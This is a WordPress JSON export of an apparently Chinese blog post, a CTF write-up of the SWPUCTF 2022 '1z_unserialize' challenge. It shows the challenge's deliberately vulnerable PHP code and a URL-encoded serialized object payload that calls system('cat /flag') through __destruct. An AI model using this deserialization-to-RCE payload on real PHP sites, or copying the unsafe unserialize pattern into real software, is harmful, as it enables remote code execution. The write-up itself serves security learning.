{"id":2196,"date":"2025-04-01T23:38:49","date_gmt":"2025-04-01T15:38:49","guid":{"rendered":"http:\/\/gzxingyu.cloud\/?p=2196"},"modified":"2025-04-01T23:38:50","modified_gmt":"2025-04-01T15:38:50","slug":"swpuctf-2022-%e6%96%b0%e7%94%9f%e8%b5%9b1z_unserialize","status":"publish","type":"post","link":"http:\/\/gzxingyu.cloud\/index.php\/2025\/04\/01\/swpuctf-2022-%e6%96%b0%e7%94%9f%e8%b5%9b1z_unserialize\/","title":{"rendered":"SWPUCTF 2022 \u65b0\u751f\u8d5b1z_unserialize"},"content":{"rendered":"<p><img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/04\/Pasted-image-20250401223020.png\" alt=\"Pasted image 20250401223020.png\"><\/p>\n<h1>\u4e00\u3001\u8bbf\u95ee\u7f51\u7ad9<\/h1>\n<p><img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/04\/Pasted-image-20250401223000.png\" alt=\"Pasted image 20250401223000.png\"><\/p>\n<h1>\u4e8c\u3001\u5206\u6790\u4ee3\u7801<\/h1>\n<pre><code class=\"language-php\">&lt;?php\u00a0class\u00a0lyh{  \n\u00a0\u00a0\u00a0\u00a0public\u00a0$url\u00a0=\u00a0'NSSCTF.com';  \n\u00a0\u00a0\u00a0\u00a0public\u00a0$lt;  \n\u00a0\u00a0\u00a0\u00a0public\u00a0$lly;  \n\u00a0\u00a0\u00a0\u00a0\u00a0  \n\u00a0\u00a0\u00a0\u00a0\u00a0function\u00a0\u00a0__destruct()  \n\u00a0\u00a0\u00a0\u00a0\u00a0{\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0$a\u00a0=\u00a0$this-&gt;lt;\n\u00a0\u00a0\u00a0\u00a0\u00a0 \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0$a($this-&gt;lly);  \n\u00a0\u00a0\u00a0\u00a0\u00a0}  \n\u00a0\u00a0\u00a0\u00a0  \n\u00a0\u00a0\u00a0\u00a0  \n}  \nunserialize($_POST['nss']);  \nhighlight_file(__FILE__);\u00a0\u00a0?&gt;\n<\/code><\/pre>\n<pre><code>\u5934\uff1anss\n\nlyh-&gt;__destruct $lt = system  $lly=cat \/flag\n\n\u5c3e\uff1asystem(cat flag);\n<\/code><\/pre>\n<p>\u89e3\u9898\u601d\u8def\uff1a<br \/>\n1.\u627e\u5230\u5934\u548c\u5c3e<br \/>\n2.\u8f93\u5165\u53c2\u6570\u662fnss\uff0c\u6240\u4ee5\u662f\u5934\uff0c<br \/>\n3.<code>__destruct<\/code>\u4e2d\u7684<code>$a($this-&gt;lly);<\/code>\u53ef\u4ee5\u6784\u9020rce\uff1a<code>system(cat  \/flag)<\/code><br \/>\n4.\u89e6\u53d1__destruct\uff0c\u5f53\u7c7b\u88ab\u9500\u6bc1\u662f\u8c03\u7528\uff0c\u6240\u4ee5\u4f7f<code>$lt = system  $lly=cat \/flag<\/code>\u5373\u53ef<\/p>\n<h1>\u4e09\u3001\u751f\u6210payload<\/h1>\n<p><img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/04\/Pasted-image-20250401224005.png\" alt=\"Pasted image 20250401224005.png\"><\/p>\n<h1>\u56db\u3001\u6267\u884cpayload<\/h1>\n<pre><code>nss=O%3A3%3A%22lyh%22%3A3%3A%7Bs%3A3%3A%22url%22%3Bs%3A10%3A%22NSSCTF.com%22%3Bs%3A2%3A%22lt%22%3Bs%3A6%3A%22system%22%3Bs%3A3%3A%22lly%22%3Bs%3A9%3A%22cat+%2Fflag%22%3B%7D\n<\/code><\/pre>\n<p><img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/04\/Pasted-image-20250401223843.png\" alt=\"Pasted image 20250401223843.png\"><\/p>\n<h1>\u603b\u7ed3<\/h1>\n<ul>\n<li>php\u53cd\u5e8f\u5217\u5316<\/li>\n<li>rce<\/li>\n<\/ul>\n","protected":false},"excerpt":{"rendered":"<p>\u4e00\u3001\u8bbf\u95ee\u7f51\u7ad9 \u4e8c\u3001\u5206\u6790\u4ee3\u7801 &lt;?php\u00a0class\u00a0lyh{ \u00a0\u00a0\u00a0\u00a0public\u00a0$url\u00a0=\u00a0&#8216;NS [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[24,8,22],"tags":[26,37],"class_list":["post-2196","post","type-post","status-publish","format-standard","hentry","category-buuctf","category-ctf","category-ctf-web","tag-rce","tag-37"],"_links":{"self":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/2196","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/comments?post=2196"}],"version-history":[{"count":1,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/2196\/revisions"}],"predecessor-version":[{"id":2197,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/2196\/revisions\/2197"}],"wp:attachment":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/media?parent=2196"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/categories?post=2196"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/tags?post=2196"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}